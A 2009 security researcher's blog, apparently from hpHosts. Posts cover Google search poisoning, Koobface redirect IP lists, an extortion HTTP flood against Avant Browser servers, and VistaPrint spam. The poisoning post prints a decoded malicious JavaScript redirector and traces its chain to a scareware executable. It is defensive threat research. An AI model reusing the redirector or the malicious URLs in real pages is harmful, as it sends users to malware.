Blog for hpHosts, and whatever else I feel like writing about ....

Sunday, 7 June 2009

Roguerific! aka: Don't worry Google, we can wait ....

Alas it seems, with all of the publicity and all of the reports that Google have been sent, they've still not been bothered to remove the malicious domains from their Google index, or the malicious blogs on their Blogspot service (and yes, I'm aware Google aren't the only company with these problems, but they're the most popular so at present, are seeing the most abuse).

I've been monitoring the Google results since my last report on the Google poisoning issue, and have been saddened to see not a reduction in the amount of malicious URL's in the index - but an increase.

Almost every single one for this variation (there are of course other variations) I've seen thus far has had identical properties that for a search engine with a spider as good as Googles, should be easy enough to identify and erradicate;

1. All URL's lead to a page with;

  1. a 2.js file
  2. jibberish in <pre></pre> tags and further such .htm pages linked to each other under neath (all pages linked to, have identical properties)
  3. ALL pages on the domain link to each other, with identical tags (and ONLY link to these pages) and link to the 2.js file
  4. ALL pages have title tags that have the name of the .htm file in them 3 times, for example;

    cadets.htm - cadets (cadets on the waterfront, yesterday tractor cub cadets)
    broderick.htm - broderick (terrace dining room broderick, lillian broderick)
    prototype.htm - prototype (vecto prototype board, what is a prototype lexical relation)
    sli.htm - sli (p5n32 sli installation, bfg 7950 gt sli
    achat.htm - achat (achat immobilier bons en chablais, centrale achat electrom nager)
    etc etc etc ....

    Full results for two of the domains, can be found at;

    http://hosts-file.net/misc/Google_Poisoning.txt

  5. All links are encased in <tt></tt> tags.


2. All pages are in sub-directories that have jibberishly named folder names
3. The 2.js file ALWAYS begins with eval(String.fromCharCode(
4. The decoded JS contains;

function f(){

var r=document.referrer,t="",q;

if(r.indexOf("google.")!=-1)t="q";

if(r.indexOf("msn.")!=-1)t="q";

if(r.indexOf("yahoo.")!=-1)t="p";

if(r.indexOf("altavista.")!=-1)t="q";

if(r.indexOf("aol.")!=-1)t="query";

if(r.indexOf("ask.")!=-1)t="q";

if(r.indexOf("comcast.")!=-1)t="q";

if(r.indexOf("bellsouth.")!=-1)t="string";

if(r.indexOf("netscape.")!=-1)t="query";

if(r.indexOf("mywebsearch.")!=-1)t="searchfor";

if(r.indexOf("peoplepc.")!=-1)t="q";

if(r.indexOf("starware.")!=-1)t="qry";

if(r.indexOf("earthlink.")!=-1)t="q";

if(t.length&&((q=r.indexOf("?"+t+"="))!=-1||(q=r.indexOf("&"+t+"="))!=-1))

window.location = ("http://everylog1.com/in.cgi?9&seoref="+encodeURIComponent(document.referrer)+"&parameter=$keyword&se=$se&ur=1&HTTP_REFERER="+encodeURIComponent(document.URL)+"&default_keyword=default");

}
window.onFocus = f()


Obviously, the URL that window.location takes you to, differs (seems to change every few days to a week or so).

5. The 2.js files are the same size (3K), though different MD5's
6. The resulting URL that window.location takes you to, ALWAYS go through intermediares, but invariably leads to a rogue that contains the usual scareware content, which again, should be a piece of cake for Google's spider to identify.

In the case of eddierivera.com this is;
  1. everylog1.com/in.cgi?9&seoref="+encodeURIComponent(document.referrer)+"&parameter=$keyword&se=$se&ur=1&HTTP_REFERER="+encodeURIComponent(document.URL)+"&default_keyword=default
  2. everylog1.com/redirect2/
  3. homeandofficefun.com/go.php?id=2004&key=ff0057594&p=1 (Intermediary)
  4. antimalwareonlinescannerv3.com/1/?id=2004&smersh=b63db03e5&back=%3DDQ0zjD0NEQNMI%3DO (SCAREWARE PAGE)
  5. antimalwareonlinescannerv3.com/download.php?id=2004
  6. antimalwareonlinescannerv3.com/download/Setup-d2c79_02004.exe (PAYLOAD)

    VirusTotal: http://www.virustotal.com/analisis/6a4547ca8aa3634633a23ec4578ab4aa982f54deea263b672378b7b5896ba5b9-1244420368
    Threat Expert: http://www.threatexpert.com/report.aspx?md5=7d96921eebcc78ba717cfeb4e1dbdf3b

7. The folder containing the files almost always has an open index, presumably to improve SEO
8. The parent folder of the folder containing the files, also has an open index, and contains a file called "c", the contents of which, contain the folders name (the one in the Google index), and "200"

sierrahomesnw.com/nofqe/c
eddierivera.com/iyild/c

With a file called 1t, containing the .htm file names;

sierrahomesnw.com/nofqe/1t
eddierivera.com/iyild/1t

A 1r file, containing the file and folder names in the format "folder/file.htm"

eddierivera.com/iyild/1r.txt
sierrahomesnw.com/nofqe/1r.txt

And finally, a randomly named PHP file (8.7K), whose content has always been <ok>

sierrahomesnw.com/nofqe/rie.php
eddierivera.com/iyild/pal.php

On a side note, it appears the rogue domain in this case, only allows a max of 2 connections per IP, as subsequent attempts result in it's returning a 404 (checking via a proxy confirmed this). It's also worth noting that attempts to grab the executable directly, aren't going to work as the filename is partially static, and partially dynamic (Setup-{random}_02004.exe), I've grabbed 4 seperate files thus far.

Bloggers bias - prepare for disclosure

I read on Bradley's blog that the FTC are considering changes that will finally force those bloggers giving rave reviews, to disclose the fact they've received a copy of whatever it is, for free - and it's about bloody time too.

I've seen hundreds of blogs just on the subject of antimalware, raving about a product, without disclosing the fact that they're getting paid to promote it, which is even worse.

I'll save my rant though. For details on this, see Bradley's blog;

http://msmvps.com/blogs/bradley/archive/2009/06/07/is-there-a-bias-when-you-get-something-for-free.aspx

Tuesday, 2 June 2009

Research: KoobFace - redir3105.com

I was asked by a friend if I could sniff out all of the IP addresses that the redir3105.com domain was redirecting to, and after spending over 30 mins trying to do it manually, decided to ask a few fellow researchers if they were aware of a way of doing it automatically - sadly they weren't.

I decided therefor, to throw something together myself to see if I could get the results I required, and the results were interesting.

I told the program to send 1000 requests to redir3105.com (spaced out of course), and had it list all of the IP's that it redirected to, including of course, the URL's themselves - out of the 1000 requests, there were only 296 unique IP addresses. Something I was not expecting.

The entire list is below for your blacklisting and/or researching pleasure.

http://112.150.3.52/pid=1000/?ch=&ea=
http://114.73.15.109/pid=1000/?ch=&ea=
http://114.75.22.27/pid=1000/?ch=&ea=
http://115.135.22.77/pid=1000/?ch=&ea=
http://116.54.12.207/pid=1000/?ch=&ea=
http://117.200.211.29/pid=1000/?ch=&ea=
http://117.200.97.85/pid=1000/?ch=&ea=
http://118.100.124.101/pid=1000/?ch=&ea=
http://118.160.194.126/pid=1000/?ch=&ea=
http://119.94.26.9/pid=1000/?ch=&ea=
http://12.219.75.172/pid=1000/?ch=&ea=
http://121.96.106.234/pid=1000/?ch=&ea=
http://121.96.243.32/pid=1000/?ch=&ea=
http://122.51.218.39/pid=1000/?ch=&ea=
http://122.53.59.125/pid=1000/?ch=&ea=
http://122.55.198.199/pid=1000/?ch=&ea=
http://123.255.20.221/pid=1000/?ch=&ea=
http://124.158.70.194/pid=1000/?ch=&ea=
http://125.107.66.47/pid=1000/?ch=&ea=
http://165.132.193.184/pid=1000/?ch=&ea=
http://174.48.92.134/pid=1000/?ch=&ea=
http://188.24.240.254/pid=1000/?ch=&ea=
http://190.26.12.101/pid=1000/?ch=&ea=
http://196.206.192.153/pid=1000/?ch=&ea=
http://196.206.73.192/pid=1000/?ch=&ea=
http://200.104.112.223/pid=1000/?ch=&ea=
http://200.79.214.207/pid=1000/?ch=&ea=
http://201.149.235.248/pid=1000/?ch=&ea=
http://201.160.142.149/pid=1000/?ch=&ea=
http://201.174.213.208/pid=1000/?ch=&ea=
http://201.241.56.215/pid=1000/?ch=&ea=
http://201.88.88.28/pid=1000/?ch=&ea=
http://203.198.108.237/pid=1000/?ch=&ea=
http://203.212.201.31/pid=1000/?ch=&ea=
http://204.13.181.145/pid=1000/?ch=&ea=
http://208.96.79.170/pid=1000/?ch=&ea=
http://212.220.108.203/pid=1000/?ch=&ea=
http://212.35.66.215/pid=1000/?ch=&ea=
http://213.6.65.91/pid=1000/?ch=&ea=
http://218.168.184.2/pid=1000/?ch=&ea=
http://218.172.72.100/pid=1000/?ch=&ea=
http://220.120.131.144/pid=1000/?ch=&ea=
http://220.139.46.84/pid=1000/?ch=&ea=
http://220.158.15.36/pid=1000/?ch=&ea=
http://221.127.120.43/pid=1000/?ch=&ea=
http://221.127.254.54/pid=1000/?ch=&ea=
http://221.128.214.39/pid=1000/?ch=&ea=
http://222.121.227.7/pid=1000/?ch=&ea=
http://24.1.103.249/pid=1000/?ch=&ea=
http://24.116.109.135/pid=1000/?ch=&ea=
http://24.117.234.115/pid=1000/?ch=&ea=
http://24.136.172.239/pid=1000/?ch=&ea=
http://24.14.58.26/pid=1000/?ch=&ea=
http://24.151.168.145/pid=1000/?ch=&ea=
http://24.168.90.30/pid=1000/?ch=&ea=
http://24.17.253.66/pid=1000/?ch=&ea=
http://24.20.125.254/pid=1000/?ch=&ea=
http://24.205.33.85/pid=1000/?ch=&ea=
http://24.209.162.67/pid=1000/?ch=&ea=
http://24.53.141.59/pid=1000/?ch=&ea=
http://24.53.143.254/pid=1000/?ch=&ea=
http://24.62.12.107/pid=1000/?ch=&ea=
http://24.68.70.58/pid=1000/?ch=&ea=
http://24.9.127.102/pid=1000/?ch=&ea=
http://24.94.21.199/pid=1000/?ch=&ea=
http://24.98.202.156/pid=1000/?ch=&ea=
http://24.98.45.0/pid=1000/?ch=&ea=
http://4.229.198.39/pid=1000/?ch=&ea=
http://41.145.183.45/pid=1000/?ch=&ea=
http://41.250.109.63/pid=1000/?ch=&ea=
http://58.114.106.168/pid=1000/?ch=&ea=
http://58.168.129.82/pid=1000/?ch=&ea=
http://58.65.191.77/pid=1000/?ch=&ea=
http://59.155.126.31/pid=1000/?ch=&ea=
http://59.161.179.142/pid=1000/?ch=&ea=
http://59.188.88.11/pid=1000/?ch=&ea=
http://59.93.54.197/pid=1000/?ch=&ea=
http://60.54.5.136/pid=1000/?ch=&ea=
http://61.15.188.202/pid=1000/?ch=&ea=
http://63.162.17.55/pid=1000/?ch=&ea=
http://64.0.31.7/pid=1000/?ch=&ea=
http://64.150.210.201/pid=1000/?ch=&ea=
http://64.231.59.57/pid=1000/?ch=&ea=
http://64.252.0.118/pid=1000/?ch=&ea=
http://65.185.162.122/pid=1000/?ch=&ea=
http://65.190.150.200/pid=1000/?ch=&ea=
http://65.31.182.12/pid=1000/?ch=&ea=
http://65.60.254.45/pid=1000/?ch=&ea=
http://65.71.92.241/pid=1000/?ch=&ea=
http://65.93.183.89/pid=1000/?ch=&ea=
http://66.176.61.63/pid=1000/?ch=&ea=
http://66.19.101.94/pid=1000/?ch=&ea=
http://66.190.74.31/pid=1000/?ch=&ea=
http://66.219.181.18/pid=1000/?ch=&ea=
http://66.229.120.142/pid=1000/?ch=&ea=
http://66.41.5.198/pid=1000/?ch=&ea=
http://67.11.164.89/pid=1000/?ch=&ea=
http://67.125.158.149/pid=1000/?ch=&ea=
http://67.160.192.87/pid=1000/?ch=&ea=
http://67.163.106.143/pid=1000/?ch=&ea=
http://67.163.174.65/pid=1000/?ch=&ea=
http://67.166.193.60/pid=1000/?ch=&ea=
http://67.173.205.65/pid=1000/?ch=&ea=
http://67.186.127.84/pid=1000/?ch=&ea=
http://67.188.3.231/pid=1000/?ch=&ea=
http://67.191.135.77/pid=1000/?ch=&ea=
http://67.78.84.134/pid=1000/?ch=&ea=
http://67.8.151.144/pid=1000/?ch=&ea=
http://68.113.114.253/pid=1000/?ch=&ea=
http://68.116.207.159/pid=1000/?ch=&ea=
http://68.150.167.240/pid=1000/?ch=&ea=
http://68.187.191.41/pid=1000/?ch=&ea=
http://68.190.69.207/pid=1000/?ch=&ea=
http://68.32.26.223/pid=1000/?ch=&ea=
http://68.37.136.97/pid=1000/?ch=&ea=
http://68.39.76.19/pid=1000/?ch=&ea=
http://68.46.36.85/pid=1000/?ch=&ea=
http://68.47.2.220/pid=1000/?ch=&ea=
http://68.54.142.102/pid=1000/?ch=&ea=
http://68.55.133.219/pid=1000/?ch=&ea=
http://68.61.230.159/pid=1000/?ch=&ea=
http://68.61.90.145/pid=1000/?ch=&ea=
http://68.81.240.216/pid=1000/?ch=&ea=
http://68.81.27.105/pid=1000/?ch=&ea=
http://68.84.43.224/pid=1000/?ch=&ea=
http://69.104.143.147/pid=1000/?ch=&ea=
http://69.107.138.172/pid=1000/?ch=&ea=
http://69.133.26.107/pid=1000/?ch=&ea=
http://69.134.107.56/pid=1000/?ch=&ea=
http://69.137.210.2/pid=1000/?ch=&ea=
http://69.139.168.9/pid=1000/?ch=&ea=
http://69.155.214.33/pid=1000/?ch=&ea=
http://69.208.115.88/pid=1000/?ch=&ea=
http://69.228.222.93/pid=1000/?ch=&ea=
http://69.229.248.216/pid=1000/?ch=&ea=
http://69.234.22.21/pid=1000/?ch=&ea=
http://69.244.211.111/pid=1000/?ch=&ea=
http://69.246.104.204/pid=1000/?ch=&ea=
http://69.247.217.222/pid=1000/?ch=&ea=
http://70.116.91.181/pid=1000/?ch=&ea=
http://70.132.18.136/pid=1000/?ch=&ea=
http://70.196.165.240/pid=1000/?ch=&ea=
http://70.200.13.26/pid=1000/?ch=&ea=
http://70.200.22.129/pid=1000/?ch=&ea=
http://70.240.248.105/pid=1000/?ch=&ea=
http://70.246.232.27/pid=1000/?ch=&ea=
http://70.252.72.9/pid=1000/?ch=&ea=
http://70.254.86.110/pid=1000/?ch=&ea=
http://71.104.195.43/pid=1000/?ch=&ea=
http://71.12.171.154/pid=1000/?ch=&ea=
http://71.137.2.191/pid=1000/?ch=&ea=
http://71.142.230.126/pid=1000/?ch=&ea=
http://71.15.38.227/pid=1000/?ch=&ea=
http://71.199.27.34/pid=1000/?ch=&ea=
http://71.202.3.218/pid=1000/?ch=&ea=
http://71.203.145.2/pid=1000/?ch=&ea=
http://71.204.95.218/pid=1000/?ch=&ea=
http://71.226.159.251/pid=1000/?ch=&ea=
http://71.231.232.152/pid=1000/?ch=&ea=
http://71.237.17.143/pid=1000/?ch=&ea=
http://71.239.64.251/pid=1000/?ch=&ea=
http://71.57.217.54/pid=1000/?ch=&ea=
http://71.74.144.92/pid=1000/?ch=&ea=
http://71.91.39.171/pid=1000/?ch=&ea=
http://72.138.0.112/pid=1000/?ch=&ea=
http://72.144.178.53/pid=1000/?ch=&ea=
http://72.178.17.74/pid=1000/?ch=&ea=
http://72.184.202.19/pid=1000/?ch=&ea=
http://72.190.116.60/pid=1000/?ch=&ea=
http://72.191.209.77/pid=1000/?ch=&ea=
http://72.21.144.8/pid=1000/?ch=&ea=
http://72.252.226.107/pid=1000/?ch=&ea=
http://74.198.96.208/pid=1000/?ch=&ea=
http://74.73.206.236/pid=1000/?ch=&ea=
http://75.0.227.244/pid=1000/?ch=&ea=
http://75.11.157.127/pid=1000/?ch=&ea=
http://75.12.117.128/pid=1000/?ch=&ea=
http://75.134.2.114/pid=1000/?ch=&ea=
http://75.136.143.146/pid=1000/?ch=&ea=
http://75.138.53.43/pid=1000/?ch=&ea=
http://75.179.62.135/pid=1000/?ch=&ea=
http://75.194.222.58/pid=1000/?ch=&ea=
http://75.200.145.96/pid=1000/?ch=&ea=
http://75.22.24.108/pid=1000/?ch=&ea=
http://75.22.92.203/pid=1000/?ch=&ea=
http://75.254.191.101/pid=1000/?ch=&ea=
http://75.3.137.94/pid=1000/?ch=&ea=
http://75.45.184.15/pid=1000/?ch=&ea=
http://75.48.250.116/pid=1000/?ch=&ea=
http://75.53.116.243/pid=1000/?ch=&ea=
http://75.62.244.27/pid=1000/?ch=&ea=
http://75.64.62.247/pid=1000/?ch=&ea=
http://75.72.97.91/pid=1000/?ch=&ea=
http://75.76.243.135/pid=1000/?ch=&ea=
http://75.80.113.32/pid=1000/?ch=&ea=
http://75.82.161.35/pid=1000/?ch=&ea=
http://75.83.169.248/pid=1000/?ch=&ea=
http://75.85.226.121/pid=1000/?ch=&ea=
http://76.104.166.143/pid=1000/?ch=&ea=
http://76.104.65.18/pid=1000/?ch=&ea=
http://76.110.112.33/pid=1000/?ch=&ea=
http://76.122.229.203/pid=1000/?ch=&ea=
http://76.127.243.110/pid=1000/?ch=&ea=
http://76.168.96.194/pid=1000/?ch=&ea=
http://76.171.237.159/pid=1000/?ch=&ea=
http://76.172.191.35/pid=1000/?ch=&ea=
http://76.177.207.194/pid=1000/?ch=&ea=
http://76.199.15.205/pid=1000/?ch=&ea=
http://76.199.25.1/pid=1000/?ch=&ea=
http://76.20.64.85/pid=1000/?ch=&ea=
http://76.204.38.108/pid=1000/?ch=&ea=
http://76.210.97.106/pid=1000/?ch=&ea=
http://76.223.0.45/pid=1000/?ch=&ea=
http://76.251.230.131/pid=1000/?ch=&ea=
http://76.251.70.105/pid=1000/?ch=&ea=
http://76.76.182.253/pid=1000/?ch=&ea=
http://76.87.86.254/pid=1000/?ch=&ea=
http://76.91.121.102/pid=1000/?ch=&ea=
http://76.91.7.42/pid=1000/?ch=&ea=
http://76.94.109.213/pid=1000/?ch=&ea=
http://76.98.124.21/pid=1000/?ch=&ea=
http://76.99.107.55/pid=1000/?ch=&ea=
http://77.35.183.120/pid=1000/?ch=&ea=
http://77.35.210.254/pid=1000/?ch=&ea=
http://77.79.140.253/pid=1000/?ch=&ea=
http://78.113.249.123/pid=1000/?ch=&ea=
http://78.145.178.89/pid=1000/?ch=&ea=
http://78.36.78.223/pid=1000/?ch=&ea=
http://78.52.134.110/pid=1000/?ch=&ea=
http://78.73.46.253/pid=1000/?ch=&ea=
http://79.113.182.102/pid=1000/?ch=&ea=
http://79.177.100.28/pid=1000/?ch=&ea=
http://79.183.252.106/pid=1000/?ch=&ea=
http://79.183.254.194/pid=1000/?ch=&ea=
http://79.33.233.190/pid=1000/?ch=&ea=
http://82.114.253.80/pid=1000/?ch=&ea=
http://82.131.218.7/pid=1000/?ch=&ea=
http://82.2.152.50/pid=1000/?ch=&ea=
http://82.81.11.133/pid=1000/?ch=&ea=
http://83.21.35.246/pid=1000/?ch=&ea=
http://83.30.230.109/pid=1000/?ch=&ea=
http://84.110.207.30/pid=1000/?ch=&ea=
http://84.52.62.235/pid=1000/?ch=&ea=
http://84.62.176.250/pid=1000/?ch=&ea=
http://84.73.220.85/pid=1000/?ch=&ea=
http://85.103.22.229/pid=1000/?ch=&ea=
http://85.179.99.47/pid=1000/?ch=&ea=
http://85.227.141.75/pid=1000/?ch=&ea=
http://85.29.144.166/pid=1000/?ch=&ea=
http://85.58.36.112/pid=1000/?ch=&ea=
http://86.108.28.105/pid=1000/?ch=&ea=
http://86.108.5.179/pid=1000/?ch=&ea=
http://86.121.65.139/pid=1000/?ch=&ea=
http://86.3.116.60/pid=1000/?ch=&ea=
http://87.189.214.152/pid=1000/?ch=&ea=
http://88.200.178.68/pid=1000/?ch=&ea=
http://89.138.58.165/pid=1000/?ch=&ea=
http://89.142.160.38/pid=1000/?ch=&ea=
http://89.165.75.168/pid=1000/?ch=&ea=
http://89.191.170.221/pid=1000/?ch=&ea=
http://89.218.81.61/pid=1000/?ch=&ea=
http://89.229.255.83/pid=1000/?ch=&ea=
http://90.151.15.102/pid=1000/?ch=&ea=
http://91.203.157.210/pid=1000/?ch=&ea=
http://92.124.77.47/pid=1000/?ch=&ea=
http://92.40.90.43/pid=1000/?ch=&ea=
http://93.147.218.186/pid=1000/?ch=&ea=
http://94.180.247.226/pid=1000/?ch=&ea=
http://94.253.47.41/pid=1000/?ch=&ea=
http://95.220.73.82/pid=1000/?ch=&ea=
http://95.86.107.220/pid=1000/?ch=&ea=
http://96.39.163.30/pid=1000/?ch=&ea=
http://97.81.245.4/pid=1000/?ch=&ea=
http://97.86.3.240/pid=1000/?ch=&ea=
http://97.92.232.74/pid=1000/?ch=&ea=
http://97.97.91.169/pid=1000/?ch=&ea=
http://98.125.185.62/pid=1000/?ch=&ea=
http://98.151.254.89/pid=1000/?ch=&ea=
http://98.200.118.46/pid=1000/?ch=&ea=
http://98.200.78.41/pid=1000/?ch=&ea=
http://98.215.101.207/pid=1000/?ch=&ea=
http://98.219.92.193/pid=1000/?ch=&ea=
http://98.230.132.63/pid=1000/?ch=&ea=
http://98.246.191.192/pid=1000/?ch=&ea=
http://98.246.75.3/pid=1000/?ch=&ea=
http://98.30.10.150/pid=1000/?ch=&ea=
http://99.130.199.117/pid=1000/?ch=&ea=
http://99.135.184.151/pid=1000/?ch=&ea=
http://99.155.156.201/pid=1000/?ch=&ea=
http://99.160.174.175/pid=1000/?ch=&ea=
http://99.162.32.33/pid=1000/?ch=&ea=
http://99.170.152.193/pid=1000/?ch=&ea=
http://99.177.93.85/pid=1000/?ch=&ea=
http://99.18.224.124/pid=1000/?ch=&ea=
http://99.25.149.254/pid=1000/?ch=&ea=
http://99.53.161.53/pid=1000/?ch=&ea=


And the list of IP's themselves;

112.150.3.52
114.73.15.109
114.75.22.27
115.135.22.77
116.54.12.207
117.200.211.29
117.200.97.85
118.100.124.101
118.160.194.126
119.94.26.9
12.219.75.172
121.96.106.234
121.96.243.32
122.51.218.39
122.53.59.125
122.55.198.199
123.255.20.221
124.158.70.194
125.107.66.47
165.132.193.184
174.48.92.134
188.24.240.254
190.26.12.101
196.206.192.153
196.206.73.192
200.104.112.223
200.79.214.207
201.149.235.248
201.160.142.149
201.174.213.208
201.241.56.215
201.88.88.28
203.198.108.237
203.212.201.31
204.13.181.145
208.96.79.170
212.220.108.203
212.35.66.215
213.6.65.91
218.168.184.2
218.172.72.100
220.120.131.144
220.139.46.84
220.158.15.36
221.127.120.43
221.127.254.54
221.128.214.39
222.121.227.7
24.1.103.249
24.116.109.135
24.117.234.115
24.136.172.239
24.14.58.26
24.151.168.145
24.168.90.30
24.17.253.66
24.20.125.254
24.205.33.85
24.209.162.67
24.53.141.59
24.53.143.254
24.62.12.107
24.68.70.58
24.9.127.102
24.94.21.199
24.98.202.156
24.98.45.0
4.229.198.39
41.145.183.45
41.250.109.63
58.114.106.168
58.168.129.82
58.65.191.77
59.155.126.31
59.161.179.142
59.188.88.11
59.93.54.197
60.54.5.136
61.15.188.202
63.162.17.55
64.0.31.7
64.150.210.201
64.231.59.57
64.252.0.118
65.185.162.122
65.190.150.200
65.31.182.12
65.60.254.45
65.71.92.241
65.93.183.89
66.176.61.63
66.19.101.94
66.190.74.31
66.219.181.18
66.229.120.142
66.41.5.198
67.11.164.89
67.125.158.149
67.160.192.87
67.163.106.143
67.163.174.65
67.166.193.60
67.173.205.65
67.186.127.84
67.188.3.231
67.191.135.77
67.78.84.134
67.8.151.144
68.113.114.253
68.116.207.159
68.150.167.240
68.187.191.41
68.190.69.207
68.32.26.223
68.37.136.97
68.39.76.19
68.46.36.85
68.47.2.220
68.54.142.102
68.55.133.219
68.61.230.159
68.61.90.145
68.81.240.216
68.81.27.105
68.84.43.224
69.104.143.147
69.107.138.172
69.133.26.107
69.134.107.56
69.137.210.2
69.139.168.9
69.155.214.33
69.208.115.88
69.228.222.93
69.229.248.216
69.234.22.21
69.244.211.111
69.246.104.204
69.247.217.222
70.116.91.181
70.132.18.136
70.196.165.240
70.200.13.26
70.200.22.129
70.240.248.105
70.246.232.27
70.252.72.9
70.254.86.110
71.104.195.43
71.12.171.154
71.137.2.191
71.142.230.126
71.15.38.227
71.199.27.34
71.202.3.218
71.203.145.2
71.204.95.218
71.226.159.251
71.231.232.152
71.237.17.143
71.239.64.251
71.57.217.54
71.74.144.92
71.91.39.171
72.138.0.112
72.144.178.53
72.178.17.74
72.184.202.19
72.190.116.60
72.191.209.77
72.21.144.8
72.252.226.107
74.198.96.208
74.73.206.236
75.0.227.244
75.11.157.127
75.12.117.128
75.134.2.114
75.136.143.146
75.138.53.43
75.179.62.135
75.194.222.58
75.200.145.96
75.22.24.108
75.22.92.203
75.254.191.101
75.3.137.94
75.45.184.15
75.48.250.116
75.53.116.243
75.62.244.27
75.64.62.247
75.72.97.91
75.76.243.135
75.80.113.32
75.82.161.35
75.83.169.248
75.85.226.121
76.104.166.143
76.104.65.18
76.110.112.33
76.122.229.203
76.127.243.110
76.168.96.194
76.171.237.159
76.172.191.35
76.177.207.194
76.199.15.205
76.199.25.1
76.20.64.85
76.204.38.108
76.210.97.106
76.223.0.45
76.251.230.131
76.251.70.105
76.76.182.253
76.87.86.254
76.91.121.102
76.91.7.42
76.94.109.213
76.98.124.21
76.99.107.55
77.35.183.120
77.35.210.254
77.79.140.253
78.113.249.123
78.145.178.89
78.36.78.223
78.52.134.110
78.73.46.253
79.113.182.102
79.177.100.28
79.183.252.106
79.183.254.194
79.33.233.190
82.114.253.80
82.131.218.7
82.2.152.50
82.81.11.133
83.21.35.246
83.30.230.109
84.110.207.30
84.52.62.235
84.62.176.250
84.73.220.85
85.103.22.229
85.179.99.47
85.227.141.75
85.29.144.166
85.58.36.112
86.108.28.105
86.108.5.179
86.121.65.139
86.3.116.60
87.189.214.152
88.200.178.68
89.138.58.165
89.142.160.38
89.165.75.168
89.191.170.221
89.218.81.61
89.229.255.83
90.151.15.102
91.203.157.210
92.124.77.47
92.40.90.43
93.147.218.186
94.180.247.226
94.253.47.41
95.220.73.82
95.86.107.220
96.39.163.30
97.81.245.4
97.86.3.240
97.92.232.74
97.97.91.169
98.125.185.62
98.151.254.89
98.200.118.46
98.200.78.41
98.215.101.207
98.219.92.193
98.230.132.63
98.246.191.192
98.246.75.3
98.30.10.150
99.130.199.117
99.135.184.151
99.155.156.201
99.160.174.175
99.162.32.33
99.170.152.193
99.177.93.85
99.18.224.124
99.25.149.254
99.53.161.53


I've not yet ran the list through hpObserver to get the PTR's for the IP's, but will do that later (absolutely knackered at the moment, and busy processing over 2000 other phishing domains).

/edit

hpObserver results (includes PTR) for the IP's;

http://hosts-file.net/misc/hpObserver_-_Koobface.html

Monday, 1 June 2009

it-mate.co.uk/Avant Browser servers down

Just an FYI folks, both of the Avant Browser servers are currently down, and I can't get hold of Anderson (there's a number for him in China, but costs a bleedin fortune to call over there, so only gonna do that if I absolutely have to).

I've been on the phone to HopOne, who provide the dedicated servers for Avant, and they're going to reboot the main avantbrowser.com server as it is showing as unreachable, however, they can't do anything about the forum.avantbrowser.com server, which also houses the it-mate.co.uk sites, without Andersons approval, so they're going to send him an e-mail with a reboot request.

If I've not heard from Anderson by 21:00 GMT, I'll give him a call.

I'll update this post when I know more.

Affected servers

209.160.32.64
66.235.180.132

Affected sites

it-mate.co.uk
support.it-mate.co.uk
guestbook.it-mate.co.uk
surl.co.uk
avantbrowser.com
avantforce.com
forum.avantbrowser.com
forum.avantbrowser.cn
wiki.avantbrowser.com
blog.avantforce.com
orcabrowser.com

Apologies for any inconvenience.

/edit 02-06-2009 02:45

I am happy to report, all servers are now back online.

Initial investigations show the downtime was caused by an HTTP flooding attack against the Avant Browser website. Talking to Anderson revealed an attacker from China, incidentally the same country as Anderson, was flooding the server and had contacted Anderson via QQ (apparently the same as WLM) informing him he would not stop the attack until Anderson had paid him the amount asked for. Anderson informed me the attacker only asked for $300, which is the smallest amount I've ever heard of being demanded by an attacker.

At the present time, I don't have very much information on the attacker himself at present (I'll be getting more within the next day or two). However, analysis did show one thing in common - the user agent for all of the IP's he had attacking the servers, was identical;

Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0;+MyIE+3.01)Cache-Control:+no-store,+must-revalidate

Unfortunately for our attacker this made it extremely simple to identify and filter out the flooding, both at the server level, and once we'd given this information to the hosting company, at the hosting co level aswell. No doubt this won't stop him for long as the UA is obviously faked anyway, and can quite easily be changed, but we've also taken the step of adding extra security and filtering to the servers themselves, and have blacklisted the IP ranges of those identified.

The IP's we identified were;

110.6.68.226        Resolution failed
113.87.123.207        Resolution failed
115.102.107.75        Resolution failed
115.102.122.215        Resolution failed
115.102.122.77        Resolution failed
115.102.122.90        Resolution failed
115.51.103.131        Resolution failed
116.113.100.67        Resolution failed
116.117.201.243        Resolution failed
116.30.237.161        Resolution failed
116.7.4.225        Resolution failed
117.136.9.73        Resolution failed
117.22.80.38        Resolution failed
117.69.217.29        29.217.69.117.broad.dynamic.hf.ah.cndata.com
117.8.79.197        Resolution failed
118.78.120.206        Resolution failed
118.78.223.5        Resolution failed
120.0.155.178        Resolution failed
120.142.44.79        Resolution failed
120.7.38.192        Resolution failed
121.201.3.40        Resolution failed
121.229.56.191        Resolution failed
121.230.57.93        Resolution failed
121.34.58.29        Resolution failed
121.42.198.75        Resolution failed
121.8.98.33        Resolution failed
123.118.0.99        Resolution failed
123.12.152.111        Resolution failed
123.14.196.156        Resolution failed
123.152.70.90        Resolution failed
123.17.171.186        Resolution failed
123.18.193.155        Resolution failed
123.19.91.81        Resolution failed
123.234.191.156        Resolution failed
124.131.162.37        Resolution failed
124.164.250.79        Resolution failed
124.64.10.233        Resolution failed
125.110.186.249        Resolution failed
125.121.223.38        Resolution failed
125.75.93.59        59.93.125.75.gs.dynamic.163data.com.cn
194.8.74.11        Resolution failed
210.21.81.133        Resolution failed
211.137.63.183        Resolution failed
211.81.53.58        Resolution failed
218.108.18.108        Resolution failed
218.66.14.152        Resolution failed
218.75.74.50        Resolution failed
218.85.120.61        Resolution failed
218.93.245.56        56.245.93.218.broad.sq.js.dynamic.163data.com.cn
219.140.230.36        Resolution failed
219.147.36.226        Resolution failed
220.165.71.195        195.71.165.220.broad.lj.yn.dynamic.163data.com.cn
220.181.61.220        Resolution failed
220.181.61.230        Resolution failed
221.213.45.244        Resolution failed
221.218.170.104        Resolution failed
221.220.224.242        Resolution failed
221.225.178.197        Resolution failed
221.3.101.143        Resolution failed
222.244.230.111        Resolution failed
58.215.65.183        Resolution failed
58.241.173.233        Resolution failed
58.249.40.255        Resolution failed
58.252.182.163        Resolution failed
58.255.128.187        Resolution failed
58.42.152.174        Resolution failed
58.55.96.159        Resolution failed
60.209.10.192        Resolution failed
60.233.156.208        Resolution failed
61.167.105.6        Resolution failed
76.161.2.106        static-76-161-2-106.dsl.cavtel.net
76.66.22.251        bas2-toronto48-1279399675.dsl.bell.ca


I'll post more in due course.

VistaPrint spam - still happening after > 3 years!

I've never signed up for VistaPrint, never signed up for anything remotely related to them - so why have I been receiving spam from them for the last 3 odd years? I decided to find out.

The latest spam I received is below, and shows it's going through their marketing partners;

1. clicks.exclusivenetoffers.co.uk (67.213.94.242 - ns1.financetrackeronline.co.uk)
2. clickboothlnk.com (69.25.190.36)
